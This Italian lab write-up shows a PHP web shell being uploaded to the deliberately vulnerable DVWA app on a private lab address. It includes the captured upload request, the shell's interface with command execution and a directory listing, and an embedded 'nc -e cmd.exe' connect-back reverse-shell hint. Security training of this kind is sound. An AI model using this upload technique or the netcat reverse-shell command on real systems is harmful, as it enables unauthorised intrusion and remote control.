

ESERCIZIO W13D1 PARTE 2

Oltre alla shell utilizzata nell'esercizio precedente, ne esistono anche altre più "gradevoli" da utilizzare, ad esempio, Root shell. Nella sezione upload di DVWA, cerchiamo di inserire la shell in figura.

```
Raw Hex
1 POST /dvwa/vulnerabilities/upload/ HTTP/1.1
2 Host: 192.168.32.101
3 Content-Length: 10157
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.32.101
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynoZsev8darRXORxs
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
9 Accept:
10 text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Referer: http://192.168.32.101/dvwa/vulnerabilities/upload/
12 Accept-Encoding: gzip, deflate, br
13 Accept-Language: en-US,en;q=0.9
14 Cookie: security=low; PHPSESSID=289ce645ab533e84724f65fce1d58795
15 Connection: close
16
17 -----WebKitFormBoundarynoZsev8darRXORxs
18 Content-Disposition: form-data; name="MAX_FILE_SIZE"
19 100000
20 -----WebKitFormBoundarynoZsev8darRXORxs
21 Content-Disposition: form-data; name="uploaded"; filename="shell.php"
22 Content-Type: application/x-php
23
24 <!--
25 /*~~~~~*/
26 /*.....j dMMMMMMNk&,...Jj dMMHMMHMA+.....*/
27 /*.....JdMMMBc: vHMMNI...dMMMBc ZMMHns.....*/
28 /*.....dMMMBc.....dHn...dMNI...vMMHNy.....*/
29 /*.....?XMMMMMBc!..dMM?MMMMMM?MMH?MNZ,!OMHMMHnk!.....*/
30 /*.....?????!"JdNO?!"?LOUUVt?????XQy!"?????!".....*/
31 /*.....?WNO.....+llz:..dHR:.....*/
32 /*.....?UXQQQQOeyltOOagQQOeZVz'.....*/
33 /*.....zWMMHMH0llOXHMMHMH9C'.....*/
34 /*.....zHFWAwltlwAXHBI.....?+.....*/
35 /*.....JdMk&.....zHNk AAwwHMc.....jWNk+.....*/
36 /*.....JdMMHMHNo.....jHMMHMMHMHl.....jWMMHMMNk+.....*/
37 /*.....j dNM9+4MMNm.....?+zVZ??lWzO+..ddMMMG?WMMNmc.....*/
38 /*.....j qNM9C!^?UMHMMmmkOltoz++zltlOzjQONMY?!??WMMNmc.....*/
39 /*.....umQHMM9C!..uQo.??WMMHMMNNOkI!??vqQQQHMMMYC!.umx.??WMMHMMmo.....*/
40 /*.....OUUUUUG:..jgWNmx,"OUWHHHHSI..?wHHHHHw9C!.udMNHAX.?XUUUU9C.....*/
41 /*.....+dWMMHMMN+..+ltltlzz??+llltlv+..j dMMMMMMHMA+.....*/
42 /*.....JdMMHMC vMMHNMk JuAAAAy+...+uAAAAAGJdMMHMC dMMHs.....*/
43 /*.....dMMHMC.....zHMMHMMHMMHMS==zXMMHMMHMMHMBv...?ZMMHns.....*/
44 /*.....dMMHMMBc!.....!?????lOVVCz^^+OVVC?????!".....?vMMHMMNk.....*/
45 /*.....?????!".....?ztloz++zllt!.....??????".....*/
46 /*.....uQQHkwz+!!+zwWHMMo.....*/
47 /*.....ugHMMHNMkz1++++zXMMHMMHmx.....*/
48 /*.....j dMMMMMM9C?????vWMMHMMHn+.....*/
49 /*.....JdMMMMMMHIZ+?????zdHMMHMMNA.....*/
```

Una volta ricevuto il messaggio in rosso, incolliamo il percorso su una nuova pagina per raggiungere la nostra shell. A differenza di quella precedente, presenta una grafica più accattivante, nonché diverse funzioni.

The screenshot shows a web browser window with the address bar displaying '192.168.32.101/dvwa/hackable/uploads/shell.php'. The page has a yellow background and features the 'Root.Shell' logo in a pixelated font. A red-bordered box on the right contains the text 'Root.Shell aperta'. Below the logo, a message states 'This server has been infected by Hacker'. The interface is divided into several sections: a 'Safe Mode OFF' status with a large exclamation mark, a 'Server Info' section showing 'Current Directory: /var/www/' and other server details, a 'Command Execute' section with a text input field and an 'Execute!' button, a 'File Upload' section with a 'Choose File' button and an 'Upload File!' button, and a bottom section with 'Files & Directories' and 'File Inclusion' tabs. An info message at the bottom left provides instructions for connecting back to the shell.

Damn Vulnerable Web App x 192.168.32.101/dvwa/hackable/uploads/shell.php

← → ↻ ⚠ Not secure 192.168.32.101/dvwa/hackable/uploads/shell.php

Root.Shell

Root.Shell aperta

This server has been infected by Hacker

Safe Mode OFF

!

[Server Info]

Current Directory: /var/www/
Shell:
Server Software:
Server Name:
Server Protocol:

[Command Execute]

Insert your commands here:

Execute!

[File Upload]

Here you can upload some files.

Choose File No file chosen

Upload File!

Info: For a connect back Shell, use: `nc -e cmd.exe [SERVER] 3333`
after local command: `nc -v -l -p 3333` (Windows)

[Files & Directories]

[File Inclusion]

Damn Vulnerable Web App x192.168.32.101/dvwa/hack1+

←→↻⚠ Not secure192.168.32.101/dvwa/hackable/uploads/shell.php▶☆⚙🔒📄👤

Root Shell

This server has been infected by Hacker

Safe Mode OFF

!

[Server Info]

Current Directory: /var/www/
Shell:
Server Software:
Server Name:
Server Protocol:

Risultato comando ls
-l

[Command Execute]

Insert your commands here:

Execute!

total 44
-rw-r--r-- 1 www-data www-data 667 Mar 16 2010 dvwa_email.png
-rw----- 1 www-data www-data 7861 Jan 31 11:25 intel.jpg
-rw----- 1 www-data www-data 12154 Feb 1 07:03 p0wny_shell.php

Info: For a connect back Shell, use: nc -e cmd.exe [SERVER] 3333
after local command: nc -v -l -p 3333 (Windows)

[File Upload]

Here you can upload some files.

Choose FileNo file chosen

Upload File!